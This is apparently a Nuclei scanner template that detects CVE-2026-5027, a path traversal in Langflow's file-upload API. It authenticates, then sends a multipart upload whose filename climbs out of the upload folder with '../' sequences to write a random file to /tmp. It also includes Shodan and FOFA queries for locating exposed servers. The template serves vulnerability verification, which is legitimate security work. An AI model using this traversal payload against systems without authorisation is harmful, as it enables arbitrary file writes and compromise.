id: CVE-2026-5027

info:
  name: Langflow <= 1.8.4 - Path Traversal to RCE via File Upload
  author: pussycat0x
  severity: high
  description: |
    The application contains a path traversal vulnerability caused by unsanitized 'filename' parameter in the 'POST /api/v2/files' multipart form data, letting attackers write files to arbitrary filesystem locations, exploit requires crafted request.
  impact: |
    Attackers can write files to arbitrary locations, potentially leading to system compromise or data tampering.
  remediation: |
    Sanitize the 'filename' parameter to prevent path traversal or update to the latest secure version.
  reference:
    - https://github.com/langflow-ai/langflow/pull/12227
    - https://github.com/0xBlackash/CVE-2026-5027
    - https://github.com/langflow-ai/langflow/security/advisories/GHSA-g2j9-7rj2-gm6c
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2026-5027
    epss-score: 0.31405
    epss-percentile: 0.98101
    cwe-id: CWE-22
  metadata:
    max-request: 2
    vendor: langflow-ai
    product: langflow
    shodan-query: title:"Langflow"
    fofa-query: title="Langflow"
  tags: cve,cve2026,langflow,lfi,intrusive,vkev

flow: http(1) || http(2)

http:
  - raw:
      - |
        GET /api/v1/auto_login HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

      - |
        POST /api/v2/files HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{access_token}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundarya3f2c8d9e7b14650

        ------WebKitFormBoundarya3f2c8d9e7b14650
        Content-Disposition: form-data; name="file"; filename="../../../../../../../../../tmp/{{randstr}}.txt"
        Content-Type: text/plain

        {{randstr}}
        ------WebKitFormBoundarya3f2c8d9e7b14650--

    matchers:
      - type: dsl
        dsl:
          - "status_code_2 == 201"
          - "contains_all(body_2, 'id','name','path')"
        condition: and

    extractors:
      - type: json
        name: access_token
        part: body_1
        json:
          - ".access_token"
        internal: true

      - type: json
        part: body_2
        json:
          - ".path"

  - raw:
      - |
        POST /api/v1/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Accept: application/json

        username={{username}}&password={{password}}

      - |
        POST /api/v2/files HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{access_token}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundarya3f2c8d9e7b14650

        ------WebKitFormBoundarya3f2c8d9e7b14650
        Content-Disposition: form-data; name="file"; filename="../../../../../../../../../tmp/{{randstr}}.txt"
        Content-Type: text/plain

        {{randstr}}
        ------WebKitFormBoundarya3f2c8d9e7b14650--

    matchers:
      - type: dsl
        dsl:
          - "status_code_2 == 201"
          - "contains_all(body_2, 'id','name','path')"
        condition: and

    extractors:
      - type: json
        name: access_token
        part: body_1
        json:
          - ".access_token"
        internal: true

      - type: json
        part: body_2
        json:
          - ".path"
# digest: 4a0a00473045022100e36e3d39bb5a64f4d94dbc95dbf3ba10d0f66af471e24e2f03e59ebac3635b7c022025b891843673cd9cc5410214e71c84f958cd94719a55fb9fbc2464919a0fc8b9:922c64590222798bb761d5b6d8e72950